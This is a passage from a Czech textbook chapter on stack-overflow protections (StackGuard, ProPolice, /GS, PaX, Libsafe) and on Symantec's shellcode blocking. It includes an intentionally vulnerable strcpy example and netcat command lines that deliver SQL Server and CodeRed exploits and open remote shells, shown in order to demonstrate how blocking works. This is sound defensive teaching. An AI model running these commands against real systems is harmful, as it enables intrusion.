Používání StackGuardu je silně doporučeno. Kompilace StackGuardu pro Linuxu jsou dostupné a rekompilace se StackGuardem činí systém mnohem více bezpečnějším.

Pro Microsoft Visual C++ .NET 2003 7.0 byla vyvinuta technika fungující podobným způsobem jako StackGuard. Ve verzi 7.1 došlo ke změnám a nově používaná metoda je spíše podobná technologii ProPolice.

13.2.2.2 ProPolice ProPolice vyvinul výzkumník IBM Hiroaki Etoh12. Uvádí mnoho nových vlastností, založených na StackGuardu. A podobně jako on poskytuje ochranu proti přetečení bufferu na úrovni kompilátoru.

Jeho nové metody umožňují přesun hodnoty kanára a optimalizaci umístění bufferů a ukazatele funkcí v zásobníku, takže pokusy o exploitaci ukazatele funkcí jsou mnohem komplikovanější. Ilustrace je uvedena na obrázku 13.3.

Počítačové viry – analýza útoku a obrana

Obrázek 13.3

475

"Kanár" ProPolice pod ukazatelem rámce a "návratovou adresou".

ProPolice standardně chrání jak ukazatel rámce, tak i návratovou adresu pomocí metody, kdy je pod ukazatelem rámce umístěna hodnota kanára. Dále také spojí buffery řetězců a umístí je nad lokální proměnné, čímž poskytne lepší ochranu ukazatelům funkcí, které jsou lokálními proměnnými.

ProPolice se také pokouší o vytváření lokálních kopií vložených ukazatelů funkcí, optimalizace kompilátoru zde však může způsobit určité problémy. Další vlastnosti zahrnují ukazatele funkcí ve strukturách, které jsou předány jako parametry, a které obsahují řetězcové buffery.

Podobně jako StackGuard, i ProPolice si našel své místo při tvorbě operačních systémů. V současné době je k dispozici ve verzi 3.3 systému OpenBSD, čímž jej činí mnohem odolnějším proti útokům.

ProPolice zajišťuje, že útoky pomocí přetečení zásobníku jsou mnohem komplikovanější a měl by tak nabízet velkou výzvu i velmi schopným útočníkům.

Protože ProPolice zajišťuje integritu zásobníku, neposkytuje žádnou ochranu proti útokům na struktury heapu (hromady)13, čehož využívá například červ Linux/Slapper2.

13.2.2.3 Microsoft Visual Studio .NET 2003: 7.0 a 7.1 Microsoft uvedl volbu /GS poprvé ve Visual Studiu .NET 2003. Tato nová volba se nazývá jako "Kontrola bezpečnosti bufferů" (Buffer Security Check), a je přístupná jako volba při generování kódu. Implicitně je zapnutá.

Uvažujme chybný kód v jazyce C ve výpisu 13.1.

Výpis 13.1 Chybný kód v jazyce C. int Bogus(char *mystring) { char buf[8];

476

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

strcpy(buf, mystring);

// pozor!

return 0; } void main(void) { Bogus("Toto je typické přetečení zásobníku!"); }

Kompilátor primárně chrání pole, která jsou nejméně pět bajtů dlouhá. Pro kratší buffery není kód pro testování bezpečnosti generován. Je to zřejmě takový bezpečnostní kompromis – předpokládá se, že k přetečení obvykle dochází až v rozsáhlejších bufferech. Jestliže se však útočníkovi podaří vložit svůj kód do chybné funkce, může být funkce exploitována nezávisle na tom, jak je buffer krátký.

Podívejme se nyní na kód, který generuje VC .NET 2003 7.0: 00401296 push offset string "Toto je typické přetečení zásobníku!"

0040129B call Bogus (401000h)

Prostřednictvím zásobníku jsme vložili do funkce Bogus() ukazatel na dlouhý řetězec. Výpis 13.2 ukazuje, co se děje uvnitř této funkce.

Výpis 13.2 Nastavení "Security Cookie".

Bogus: 00401000 sub esp,0Ch 00401003 mov eax,dword ptr [___security_cookie (407030h)] 00401008 xor eax,dword ptr [esp+0Ch] 0040100C lea edx,[esp] 00401010 mov dword ptr [esp+8],eax

Funkce Bogus() nejprve zpřístupní hodnotu security_cookie, která je náhodně vygenerovaná pomocí CRT. Speciální rutina CRT tuto hodnotu inicializuje jako náhodné číslo DWORD. Důvod je jednoduchý – může-li útočník uhodnout hodnotu security_cookie, bude schopen způsobit přetečení vložením "falešné" hodnoty security_cookie, což kontrola bezpečnosti bufferu nedetekuje. Takový útok je uskutečnitelný, pokud by útočník obešel tuto kontrolu bezpečnosti, přepsal předchozí rámec nad zásobníkem, pomocí ukazatele funkce spustil svůj kód a nakonec, kvůli utajení, opravil obsah zásobníku.

Hodnota security_cookie je nejprve "XORována" s aktuální návratovou adresou a poté je uložena za návratovou adresou na zásobníku jako cookie. Potom provede chybné (buggy) kopírování, například pomocí funkce strcpy(), viz výpis 13.3.

Počítačové viry – analýza útoku a obrana

477

Výpis 13.3 Podmínka možného přetečení.

00401014 mov eax,dword ptr [esp+10h] 00401018 sub edx,eax 0040101A lea ebx,[ebx] 00401020 mov cl,byte ptr [eax] 00401022 mov byte ptr [edx+eax],cl 00401025 inc eax 00401026 test cl,cl 00401028 jne Bogus+20h (401020h)

A nakonec epilogová rutina funkce Bogus() vezme uloženou hodnotu cookie a "dekóduje" ji do registru "ecx", což je ukázáno ve výpisu 13.4.

Výpis 13.4 Dekódování "Security cookie".

0040102A mov ecx,dword ptr [esp+8] 0040102E xor eax,eax 00401030 xor ecx,dword ptr [esp+0Ch] 00401034 add esp,0Ch 00401037 jmp __security_check_cookie (4013F1h)

Další skok epilogu vede do runtime části C, definovaného v setcook.c uvnitř zdrojového kódu CRT. To je ukázáno ve výpisu 13.5.

Výpis 13.5 Standardní "bezpečnostní" handler. void __declspec(naked) __fastcall __security_check_cookie(DWORD_PTR cookie) { /* verze x86 zapsaná v assembleru kvůli ochraně všech registrů */ __asm { cmp ecx, __security_cookie jne failure ret failure: jmp report_failure } }

Porovnání se tedy provede vůči původní bezpečnostní hodnotě cookie. Je-li detekován rozdíl, pokračuje kód na adrese report_failure. Pokud předtím nebyl nastaven žádný user_handler, provede se pouze stan-

478

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

dardní výpis. Nastavení uživatelského ovladače (user handler) umožňuje zajistit jinou funkcionalitu, než tu, kterou poskytuje výchozí metoda. Adresa uživatelského ovladače (user_handler) je ukazatelem na funkci, který je umístěný v datové sekci, takže v některých případech bude možné jeho přepsání pomocí přetečení. To umožní útočníkovi spustit jeho vlastní kód pomocí tohoto handleru.

Pokud není user_handler nastaven pomocí funkce _set_security_error_handler(), je přetečení zásobníku ohlášeno uživateli a vykonávání programu je ukončeno.

Hodnota cookie je umístěna pod ukazatel rámce, pokud ovšem nějaký existuje. Tímto způsobem může kontrola reagovat na útoky proti tomuto ukazateli.

V kompilátoru verze 7.1 Microsoft zásadním způsobem vylepšil kontrolu bezpečnosti bufferu. Hodnota cookie již není XORována s návratovou adresou, což původně nepřinášelo žádnou viditelnou výhodu.

Místo toho je tato cookie uložena a ověřována. Některá problémy zde popsané však vyřešeny nebyly.

Nejdůležitějším rysem edice 7.1 je to, že buffery řetězců jsou spojeny dohromady. Ukazatele funkcí a ostatní lokální proměnné jsou pak umísťovány kompilátorem pod buffery na zásobníku. Implementace Microsoftu ohledně kontroly integrity zásobníku tak následuje nejdůležitější vlastnosti ProPolice.

A podobně jako v případě ProPolice, i bezpečnostní volby Microsoft Visual Studia .NET 2003 způsobují konflikty s možnostmi optimalizace kompilátoru. V optimalizovaném kódu tak mohou vložené ukazatele funkcí sloužit jaké přímé reference do předchozího rámce zásobníku. Takové ukazatele funkcí ovšem mohou být přepsány a exploitovány ještě předtím, než se provede bezpečnostní kontrola, která se neprovádí před návratem funkce. Vnořená volání, která jako parametry používají poškozené ukazatele funkcí (prostřednictvím přímých referencí do volajícího rámce zásobníku), jsou tak kvůli těmto poškozením zranitelná.

Jednou z uvažovaných alternativ je použití direktiv "pragma" vedoucí k vypnutí optimalizace pro některé části kódu (například pro sekce, které předávají ukazatele funkcí). To je však praxe, která dává prostor vzniku dalších problémů, jako je mazání "tajných míst v paměti" (odstraňování dočasných klíčů) na posledním řádku funkce, kterou může chytrá optimalizace eliminovat jako mrtvý kód. Je tomu z toho důvodu, že daná proměnná se po dosažení konce funkce jeví jako nevyužitá.

Zbývající výzvou je pak standardní ošetřování výjimek ve Windows. Když je vyvolána výjimka, prochází se řetěz ovladačů pro nalezení aktivního ovladače výjimky, který bude vyvolán. Mnoho obecných typů exploitů Windows je založeno na tom, že se přepíšou rámce ovladačů výjimek založené na zásobníku, což vede ke spuštění kódu útočníka. Tuto techniku používá několik současných virů, stejně jako červ W32/CodeRed. Kontrola bezpečnosti bufferu sama o sobě tyto problémy nezmírňuje. Alternativou, která funguje proti těmto útokům, byla vyvinuta společností Symantec. Více informací je uvedeno v části 13.3, která popisuje techniky blokování červů. Je vhodné poznamenat, že pro Visual Studio 2005 Microsoft plánuje provést několik změn v implementaci přepínače /GS. Ty by se měly zaměřit především na nedostatky, popsané v této kapitole.

Počítačové viry – analýza útoku a obrana

479

13.2.3 Řešení na úrovni operačního systému a rozšíření run-time Kontrola integrity zásobníku pomocí kompilátoru je pouze jednou z mnoha možností ochrany proti přetečení na úrovni operačního systému. I když jsou rekompilované systémové komponenty (ať už samotného operačního systému nebo třetích stran) hůře zranitelné útoky založenými na zásobníku, nechráněné komponenty (ať už systémové nebo jakékoliv jiné) způsobují to, že systém zůstává stále napadnutelný.

Ačkoli většina procesorů Intel neposkytuje ochranu na úrovni stránkování proti operacím vykonávaným na zásobníku, některé procesory ji poskytují, přičemž operační systémy mohou takové ochrany využívat (alternativy k systémům Intel jsou podrobněji popsány později).

K nejzávažnějším problémům ochrany na úrovni překladače patří to, že pro kompilaci je potřebný zdrojový kód. Během několika posledních let se sice objevila nová řešení, která zdrojový kód nevyžadují, nicméně se vztahují ke specifickým procesorům (například Intel) nebo ke specifickým operačním systémům (jako je například Linux). Následující část pak rozebírá některá z nejvýznamnějších rozšíření takových systémů.

13.2.3.1 Solaris na systému SPARC Mnoho operačních systémů má v sobě zabudované mechanismy ochrany proti některým typům útoků pomocí přetečení bufferu. Například systémy Solaris mohou chráněny pouhou změnou nastavení systému v souboru /etc/system. Systém se tak může, pomocí zásobníku na procesoru SPARC, bránit proti útokům založených na přetečení bufferu. Ilustrace je na obrázku 13.4. set noexec_user_stack=1 set noexec_user_stack_log=1

Obrázek 13.4

Nastavení konfigurace Solarisu na SPARCu.

Důsledkem této změny nastavení systému je to, že uživatelský prostor zásobníku procesů Solarisu nebude mapován jako vykonatelný (exec), takže pokus o vykonání obsahu zásobníku povede k násilnému ukončení a k výpisu obsahu procesu (core dump). Tento výpis bude také součástí systémového logu (pokud je to nakonfigurováno). Situaci ilustruje obrázek 13.5. #pmap 653 653: /sbin/sh 00010000 272K read/exec

/sbin/sh

00062000

16K read/write/exec

/sbin/sh

00066000

24K read/write/exec

[ heap ]

FFBEE000

8K read/write

[ stack ]

total 320K

Obrázek 13.5

Uživatelský zásobník procesu "sh" není označen jako vykonatelný ("exec").

480

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

Některé systémy ochrany se pokoušely dosáhnout podobných výsledků použitím vykonatelných a datových segmentů pro procesory od Intelu (viz příklady v části 13.2.5). I toto řešení preventivně zabraňuje vykonání kódu na zásobníku.

Přestože jsou tato řešení atraktivní, je důležité mít na paměti, že existují nebezpečí přetečení, která nevyžadují provádění kódu na zásobníku – například přetečení heapu nebo útoky return-to-LIBC. Právě v těchto případech mohou pomoci techniky založené na kompilátorech. Tyto technologie – StackGuard, ProPolice, nebo kontrola bezpečnosti bufferů od Microsoftu – se snaží potlačit možné zneužití prostřednictvím změny návratové adresy a ukazatele rámce. Některé z nich také znesnadňují zneužití ukazatelů funkcí. Je tedy vhodné poznamenat, že tyto systémy se navzájem dobře doplňují. Je také zřejmé, že pro zmírnění dalších negativ by měly být použity jiné techniky.

13.2.4 Rozšíření subsystému – Libsafe Některá řešení přidávají mechanismy ochrany do uživatelského adresovacího prostoru jednotlivých aplikací. Libsafe14 je run-time ochrana dostupná v systému Linux. Chrání proti napadení návratových adres, stejně jako proti útokům na rámec zásobníku. Není však schopna ochránit procesy, které mezi voláním funkcí nepoužívají ukazatele rámců na zásobníku. V takových případech Libsafe jednoduše nechává aplikace, aby si dělaly, co chtějí.

Libsafe využívá jednu ze standardních vlastností Linuxu, která umožňuje "přetížit" některé funkce v dynamicky linkovaných knihovnách. Nahrává se jako dynamická knihovna a do adresovacího prostoru procesu zavádí jména funkcí, jako jsou memcpy() nebo strcpy(). Pokud je zavedena knihovna GLIBC (standardní run-time knihovna jazyka C v Linuxu), jsou tyto funkce již známy, takže se nepoužijí jejich verze v GLIBC, ale verze obsažené v Libsafe. Když aplikace zavolá strcpy(), bude nejdříve volat Libsafe.

Libsafe trasuje zásobník použitím ukazatelů na rámce ze struktury zásobníku. Poté použije svoji logiku k validaci parametrů a k rozhodnutí, zdali je parametr příliš dlouhý a zdali je schopný přepsat místo uložení ukazatele rámce nebo návratové adresy. Pokud ano, Libsafe okamžitě zastaví běh procesu. Jinak se dynamicky přepne do GLIBC a zavolá původní funkci.

V současné době zajišťuje Libsafe ochranu těmto funkcím – memcpy(), strcpy(), strncpy(), wcscpy(), stpcpy(), wcpcpy(), strcat(), strncat(), wcscat(), [v]sprintf(),[v]snprintf(), vprintf(), vfprintf(), getwd(), gets() a realpath(). Nejedná se sice o vyčerpávající seznam "zranitelných" funkcí, nicméně určitě obsahuje některé z nejobvyklejších zranitelností v kódu C. Libsafe 2.0 tak chrání nejvíce využívanou skupinu "zranitelných" funkcí před útoky založenými na napadání zásobníku. Chrání také funkce, které mohou být využity pro vykonávání exploitů založených na formátovacích řetězcích10.

13.2.5 Rozšíření režimu jádra Spousta rozšíření (extensions) režimu jádra se snaží pracovat s velkým množstvím různých útoků. Taková řešení však vykazují mnoho nedostatků, nehledě na fakt, že nějaké rozšíření v režimu jádra může snadno ovlivnit stabilitu systému, což platí i o technologii, která byla poprvé použita pod názvem PaX15 pro různé open-source systémy, která zahrnuje přímou manipulaci příznaků stránek v tabulkách strá-

Počítačové viry – analýza útoku a obrana

481

nek. V systémech s uzavřenými zdroji (closed-source), jsou problémy s podobnými rozšířeními ještě více markantnější.

PaX a jeho další implementace, SecureStack16, nastavují v příznacích stránky "Supervisor" bit takovým způsobem, aby byl způsoben výpadek stránky (page-fault). Ten pak využívá ovladač produktu v případě, že jsou dané stránky zpřístupňovány v uživatelském režimu. Tímto způsobem je možné rozlišit, jestli se instrukční ukazatel odkazuje na zapisovatelnou stránku na zásobníku nebo na heapu.

Implementace využívá důmyslnou techniku, která minimalizuje možné snížení výkonu tak, že k výpadkům stránek dochází při provádění instrukcí, a nikoliv během přístupu k datům. Tato technika udržuje snížení výkonu pod hranicí 5%.

Podstata této techniky spočívá ve využití bufferů TLB (translation look-aside) procesorů Intel. Na 32bitové architektuře Intel popisuje jedna položka stránky tabulky (PTE) každou stránku paměti o velikost i 4kB. PTE popisuje informace o umístění stránky a pomocí několika různých atributů i její dosažitelnost. Jedním z PTE příznaků je také bit "Supervisor". Je-li tento bit nastaven v PTE, která přísluší určité stránce, pak pokus o přístup k ní, v uživatelském režimu, vyvolá výjimku. Dále pak provede ovladač produktu (product's driver), který je nastaven ke zpracování výjimek v režimu jádra, kontrolu bezpečnosti. PaX a SecureStack tento bit nastavují pro některé stránky v uživatelském režimu, jako například zapisovatelné stránky nebo oblasti zásobníku.

Pro podstatu této techniky je klíčová skutečnost, že Pentium a následující procesory mají dva TLB – jeden pro přístup k datům (DTLB), a druhý pro instrukce (ITLB). Výpadky stránek jsou minimalizovány tak, že bit "Supervisor" je nastavován pouze ITLB kopii PTE, nikoli v DTLB16. Provádění kódu v zapisovatelných stránkách prostřednictvím ITLB tak může být snadno detekováno a následně znemožněno.

Důležitou vlastností této techniky je to, že blokuje provádění kódu na zásobníku a na heapu.

Provádění kódu v zapisovatelných stránkách je však bohužel běžné (typicky na systémech Windows, ale nejenom na nich). Dobrým příkladem této skutečnosti jsou například samorozbalovací archivy. Při legitimizaci pokusů o běh zapisovatelných stránek hlásí systém falešná pozitiva (false positive).

Provádění kódu v zapisovatelných stránkách však naštěstí není běžné na serverových platformách. Pro zmírnění problémů s falešnými pozitivy nabízí PaX nástroj pro označení aplikací jako přátelských. Některé další specifické systémy mohou tento problém dále zmírňovat.

PaX na platformě Intel implementuje ještě jeden mechanismus ochrany před prováděním kódu na zásobníku. Ten je založen na segmentaci adresovacího prostoru procesu a na přístupových právech samotných segmentů. Výhodou této segmentace je to, že nedochází ke ztrátě výkonu. Toto řešení však vyžaduje těsnou spolupráci se samotným operačním systémem, což vede k obtížím při vývoji na platformy, které nemají otevřený kód (open-source).

Významným přínosem je však stabilita. Tento druh řešení je nezávislý nejenom na procesoru, ale také na verzi operačního systému (což zahrnuje i nezávislost na použité verzi service packu). Tyto techniky poskytují prostředky k ochraně proti široké skupině útoků v uživatelském režimu, které jsou nejvíce rozšířené. Nemusí však nezbytně nutně poskytovat ochranu proti přetečení v režimu jádra (na úrovni 0, ring 0), takže takové systémy pak nejsou odolné vůči zranitelnostem v operačním systému nebo v ovla-

482

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

dačích třetích stran, u kterých může škodlivý vstup vést k nepříjemným postranním efektům (novější verze PaX mají speciální ochranu pro stránky jádra). Útočník může ovšem překonat ochranu proti provádění kódu na zásobníku a heapu pomocí útoku typu "return-to-LIBC", který popisován dříve. Tyto problémy však mohou být zmírněny dalšími technikami, které jsou stručně popsány v části 13.3 věnované technikám blokování červů.

13.2.6 Doprovázení programů Ve výzkumných zprávách MIT17 byla jednou diskutována zajímavá technika se slibnými výsledky. Tato nová technika se nazývá doprovázení programů (program shepherding).

Doprovázení programů je založeno na použití dynamického optimalizátoru, nazvaného jako DynamoRIO. Cílem RIO je rychlé provádění kódu a jeho optimalizace bez toho, aby byla vyžadována jeho rekompilace. Tento projekt byl založen na spolupráci mezi Hewlett-Packard a Massachusetts Institute of Technology (MIT)18. Technika doprovázení programů byla založena na tomto modelu a je výhodná jak z hlediska rychlejšího provádění kódu, tak i z hlediska implementace ověřování toku instrukcí. To je zajištěno implementací vyrovnávací paměti (cache) kódu, do které je kód programu po částech kopírován, a ověřováním tohoto programového kódu před jeho vykonáním. Systém tedy nikdy nevykonává skutečný kód, ale pouze jeho kopii, a to takovým způsobem, že využívá skutečné CPU systému, a nikoliv jeho emulaci. Některé části programu jsou při jeho běhu modifikovány, přičemž je možné tímto způsobem kód ovládat. To umožňuje bezpečné provádění aplikací.

K tomu, aby se rozeznaly některé techniky exploitace, základní systém potřebuje některá rozšíření.

Zvláště obtížným problémem je detekce změny toku kódu, která se objeví jako důsledek změny dat v adresovacím prostoru procesu. Například mohou být modifikována místa, jako jsou GOT (globální tabulka offsetů) v Unixu nebo IAT (adresovací tabulka importů) ve Windows – takto lze dosáhnout změn v toku kódu, které je velmi těžké detekovat verifikací toku kódu v cache.

13.3 Techniky blokování červů Tato část popisuje techniky, které byly vyvinuty a implementovány firmou Symantec jako alternativní řešení k potlačení prvních a druhých generací exploitů používaných červy. Zde předpokládáme, že většina červů raději zaútočí na zranitelné systémy (tedy takové, které nejsou nijak zabezpečeny proti přetečení), protože je jich mnohem více, než systémů dostatečně zajištěných.

Z hlediska útočníka je neefektivní používat při exploitacích náročné techniky, protože celkový výsledek útoku může být označen za úspěšný i bez nich. Tento závěr vzešel z revize několika posledních červů, jako jsou Linux/Slapper a W32/Slammer, které byly zodpovědné za většinu hromadných infekcí v poslední době.

Techniky popsané v této části mohou takové útoky efektivně zastavit; uvedené principy jsou však pouze demonstrační a jejich účelem je ukázat, jak moc efektivní mohou tato řešení být. Nejedná se o ucelenou skupinu myšlenek, ale spíše o ukázku spolehlivých pravidel, která mohou být dostatečně efektivní vůči rychle se šířícím počítačovým červům. Použití takových pravidel může být součástí většího systému pro řízení přístupu, případně mohou být zkombinována s podobnými systémy.

Počítačové viry – analýza útoku a obrana

483

13.3.1 Detekce injektovaného kódu Jednou z nejznámějších cest k vykonání kódu na vzdáleném systému je spuštění kódu, injektovaného do adresovacího prostoru oklamaného procesu. Ve většině případů se injektovaný kód spouští ze zásobníku nebo z heapu a eventuálně vykonává případná volání operačního systému nebo některého subsystému.

Naším cílem je detekovat vykonávání injektovaného kódu ve fázi, kdy jsme schopni zastavit útok nebo alespoň další šíření škodlivého kódu. V této části se sice zaměříme na specifikace konkrétních exploitací, ale bez újmy na obecnosti.

Výhody, které získáme rychlým zastavením útoku, se nám vzhledem k vloženému úsilí jednoznačně vyplatí. Falešnou detekci útoku však může spustit i nehoda, zapříčiněná nějakou chybou v programu.

Taková "falešná pozitiva" mohou být potlačena podrobnější definicí různých typů útoků, což také umožňuje odchytit jejich variace.

Systémy, které mohou detekovat injektáž kódu, mohou být použity pro vývoj signatur útoků – a to jak ručnímu, tak i automatizovanému. Tyto signatury, ať už binární, popisující chování, nebo kombinované, mohou být následně distribuovány na systémy, které sice nepoužívají detekci injektovaného kódu, nicméně používají právě tyto signatury pro zastavení útoku.

Signatura popisující chování může například obsahovat prozrazující posloupnost obecných volání API, které používá kód červa. Ve Windows mohou takové signatury obsahovat sekvence volání API, nebo jednotlivá volání s některými charakteristikami, jako například GetProcAddress(), GetModuleHandle(), LoadLibrary(), CreateThread(), CreateProcess(), listen(), send(), sendto(), connect(), CreateFile() a mnoho dalších, popř. jejich variace. Také je potřeba chránit funkce, které jsou zodpovědné za tvorbu uživatelských účtů.

Zjištění toho, že mnoho útoků používá tato API, z nich činí hlavní cíle pro zachytávání, což lze dobře využít pro včasnou detekci – například k odhalení toho, že kód volající konkrétní API je umístěn na zásobníku nebo na heapu. Několik podobných technik bylo upraveno pro použití v ochranných systémech proti průnikům (intrusion prevention systems), jako je třeba systém Okena, nebo Entercept.

13.3.1.1 Blokování kódu shellu prostřednictvím detekce injektovaného kódu Červi v systému UNIX (a také mnoho jiných červů ve Windows), spouští na vzdáleném systému shell, resp. interpret příkazové řádky. V UNIXových systémech typicky vidíme provádění execve(), nebo podobné systémové volání.

Příklady červů, které používají útoky pomocí kódu shellu, zahrnují jak červa Morris (který spouští útoky na systémech VAX), tak i červy Linux/ADM, FreeBSD/Scalper, Linux/Slapper atd. Patří sem také velké množství hackerských exploitů. Tito červi a tyto exploity mohou být detekováni a následně zastaveni pomocí stejných atributů. Použitím profilů útoků založených na API, může být injektovaný kód detekován a brzy zastaven.

Můžeme vyvolat naše vlastní "ochranné stráže" uvnitř adresovacích prostorů klíčových služeb takovým způsobem, že zachytíme příslušná API v uživatelském režimu nebo v režimu jádra. Je-li spuštěno vybrané API, například execve() v UNIXu nebo CreateProcess() ve Windows, trasujeme návratovou adresu a ověříme druhy atributů, které náleží dané stránce. Nemusíme pouze ověřovat atribut zapisovatelné

484

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

stránky, ale můžete ověřit i to, zdali bylo API voláno z lokace mapované ze souboru. Většina legitimního kódu bude totiž zavedena ze spustitelných souborů a z toho důvodu bude z nich také mapována.

Alternativním postupem je to, že můžeme sledovat pouze provádění zásobníku, což má vzhledem k menšímu přepínáním kontextu za důsledek menší ztrátu výkonu. Pro odpovídající ochranu serveru však musíme detekovat i spouštění kódu na heapu.

Ve Windows je nejjednodušším způsobem vedoucím ke zjištění toho, zdali je stránka paměti mapována ze souboru, kontrola příznaku SEC_IMAGE, který toto indikuje. Tato technika sice nereaguje na falešnou detekci útoku v případě sebe-modifikujícího kódu archivu, nicméně injektovaný kód ze zásobníku nebo heapu povede ke spuštění detekce. Některým procesům můžeme také volitelně zabránit ve spouštění vybraných API ze zapisovatelných míst. Tyto metody mohou potenciálně omezovat červy pocházející z první a druhé generace.

Nejslibnější vlastností této techniky je její schopnost poskytnout ochranu i proti útokům na úrovni jádra (úroveň 0, ring 0) – popsané metody je totiž možné využít tímto způsobem. To je velká výhoda oproti ostatním řešením, která s režimem jádra nepracují a používají se pouze v uživatelském režimu.

Podívejme se nyní na příklady, které demonstrují efektivitu technik blokování kódu shellu.

Příklad 1 – blokování exploitů Microsoft SQL Serveru Ukázková možnost exploitace, jejímž autorem je David Litchfield19, demonstruje zranitelnost v Microsoft SQL Serveru 2000. Microsoft toto zranitelné místo opravil ihned poté, jakmile byl tento způsob exploitace publikován na konferenci BlackHat. Tento exploit bylo však možné efektivně využít proti mnoha systémům i o šest měsíců později. Mnoho systémů totiž zůstalo neopraveno, což umožnilo vypuknutí útoku červem Slammer, který použil tuto zranitelnost, s využitím méně důležité varianty exploitačního kódu (bez použití kódu shellu).

Podívejme se, jak kód zneužití pracuje: 1. Útočník nejdříve spustí utilitu typu nc (NetCat)20 a poslouchá na určitém portu. Pro vysvětlení, když útočník spustí příkaz "nc –l –p53", začne jeho systém naslouchat na portu 53.

2. Nástroj pro zneužití (sqlexpo.exe) má čtyři parametry: – Cílovou IP adresa napadeného systému.

– IP adresu útočícího systému.

– Otevřený port na útočícím systému (v našem příkladě 53).

– ID service packu SQL Serveru.

Exploit je založen na přetečení bufferu pomocí zásobníku, přičemž se následovně připojí k útočícímu systému a pomocí API CreateProcess() spustí "cmd.exe" (příkazový interpret ve Windows). V tomto případě je kód shellu zakódovaný, takže tento stále oblíbenější trik používá útočný kód jako řetězec (string), čímž dosahuje toho, že IDS (intrusion detection system), který je založený na signaturách, útok vůbec nedetekuje.

Vykonání exploitu má za výsledek následující:

Počítačové viry – analýza útoku a obrana

485

[c:\test]sqlexplo 192.168.50.131 192.168.50.1 53 0 MSSQL SP 0. GetProcAddress @0x42ae1010 Packet sent!

If you don’t have a shell it didn’t work.

Úspěšné vykonání exploitu má za důsledek zobrazení příkazové řádky v okně NetCat a kompletní umožnění přístupu na vzdálený systém: Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>

Prozkoumejme nyní logovací soubor systému, který používá náš prototyp pro blokování kódu shellu.

Když provedeme útok proti chráněnému systému, v okně NetCatu se nezobrazí příkazová řádka, protože útok je zmařen. Prototyp blokuje útok zachycením API CreateProcess() a provádí blokování, pokud volání přichází z adresy na zásobníku nebo na hromadě.

Detekce umístění volajícího kódu je založena na návratové adrese API CreateProcess(). V našem případě má zablokované API CreateProcess() návratovou adresu 0x2204dcf2, která má atributy stránky indikující, že stránka je zapisovatelná, a že jedná se o privátní stránku v adresovacím prostoru procesu sqlserv.exe, jak je to uvedeno v tabulce 13.2:

Tabulka 13.2 – Log blokování kódu shellu. Čas

PID

Položka logu

14.19224477

[460]

Detekce průniku založeného na kódu shellu!

14.19591311

[460]

Návratová adresa: 2204dcf2 (zásobník!)

14.19953704

[460]

AllocationProtect=PAGE_READWRITE, Type=MEM_PRIVATE

19.02997363

[460]

Znemožnění průniku založeného na kódu shellu!

Příklad 2 – Blokování útoku založeného na kódu exploitu červa CodeRed Dlouho po útoku původního červa CodeRed vytvořilo několik hackerů nový nástroj pro útoky, který byl založen na modifikovaném kódu originálního červa. Byla konkrétně použita část, která se zabývala exploitací napadeného systému, přičemž byla rozšířena o payload vedoucí ke spuštění kódu shellu.

Pro generování kódu shellu byla použita webová utilita. Útočník tedy nemusí vůbec rozumět principům fungování exploitu a kódu shellu. Protože původní červ CodeRed neexistuje jako soubor, byl tento útok pouze výpisem, který útočník injektoval do napadeného počítače pomocí nástroje, jako je NetCat. Následující příkaz injektuje buffer s útokem do cílového systému s IP adresou 192.168.50.131 na portu 80 (HTTP): [c:\test]nc 192.168.50.131 80 <CRSHELL2.BIN

486

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

Tento exploit je typickým útokem, založeným na kódu shellu. Spouští soubor cmd.exe, který je asociován s portem, na kterém exploit provádí naslouchání. Pokud je exploit úspěšný, kód na napadeném systému naslouchá na portu 8008. Útočník tak může znovu použít NetCat a připojit se na tento port.

Tím se dostane k příkazové řádce, která mu umožňuje kompletní přístup do vzdáleného systému: c:\4nt!]nc 192.168.50.131 8008 Microsoft Windows 2000 [Version 5.00.2195] C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>

Pokud je aktivní blokování kódu shellu, útok nebude úspěšný ze stejných důvodů, jako v prvním případě. Úspěšně detekujeme útok založený na zásobníku a návratové adrese, viz tabulka 13.3.

Tabulka 13.3 – Log blokování kódu shellu červa CodeRed. Čas

PID

Položka logu

7.12189255

[636]

Detekce průniku založeného na kódu shellu!

7.12214063

[636]

Návratová adresa: 00aff6bb (zásobník!)

7.12234848

[636]

AllocationProtect=PAGE_READWRITE, Type=MEM_PRIVATE

9.19175122

[636]

Znemožnění průniku založeného na kódu shellu!

Poznámka Vůči těmto konkrétním exploitům se lze bránit i jinými prostředky, nicméně v těchto příkladech jsme se zaměřili na samotnou myšlenku blokování kódu shellu.

Příklad 3– Blokování útoku, založeného na shell kódu červa W32/Blaster Červ Blaster21 se objevil 11. srpna 2003 a exploitoval zranitelné místo DCOM RPC pomocí útoku založeného na kódu shellu. Blaster je prvním červem, který použil techniku kódu shellu pro Win32, která byla předtím k vidění pouze u červů v UNIXu. Tento směr vývoje byl ovšem předpovídán, takže blokování kódu shellu mohlo být řízeno tak, aby se zabránilo červovi infikovat zranitelný systém. Červ Blaster byl zodpovědný za nejrozsáhlejší epidemii na 32bitových systémech Windows vůbec. Podle různých odhadů napadl více než milion systémů rozmístěných po celém světě! Útok je možné zablokovat v případě, když je zranitelné DLL (rpcss.dll) exploitováno v kontextu procesu svchost.exe. Filozofie vedoucí k zastavení útoku je velmi podobná předchozím příkladům. Je možné detekovat a zablokovat útok, který je založený na návratové adrese, která se při volání API CreateProcess() odkazuje na zásobník.

Počítačové viry – analýza útoku a obrana

487

Tabulka 13.4 – Log blokování kódu shellu červa Blaster. Čas

PID

Položka logu

171.67155490

[440]

Detekce průniku založeného na kódu shellu!

171.67394096

[440]

Návratová adresa: 0052f976 (zásobník!)

171.67632730

[440]

AllocationProtect=PAGE_READWRITE, Type=MEM_PRIVATE

239.61852470

[440]

Znemožnění průniku založeného na kódu shellu!

Příklad 4 – Blokování útoku, založeného na shell kódu červa W32/Welchia Červ Welchia je určen k boji s červem Blaster. Snaží se totiž bojovat proti infekci červa Blaster. A takovým způsobem, že jej bez okolků smaže ze systému a nainstaluje záplaty proti používání RPC exploitu.

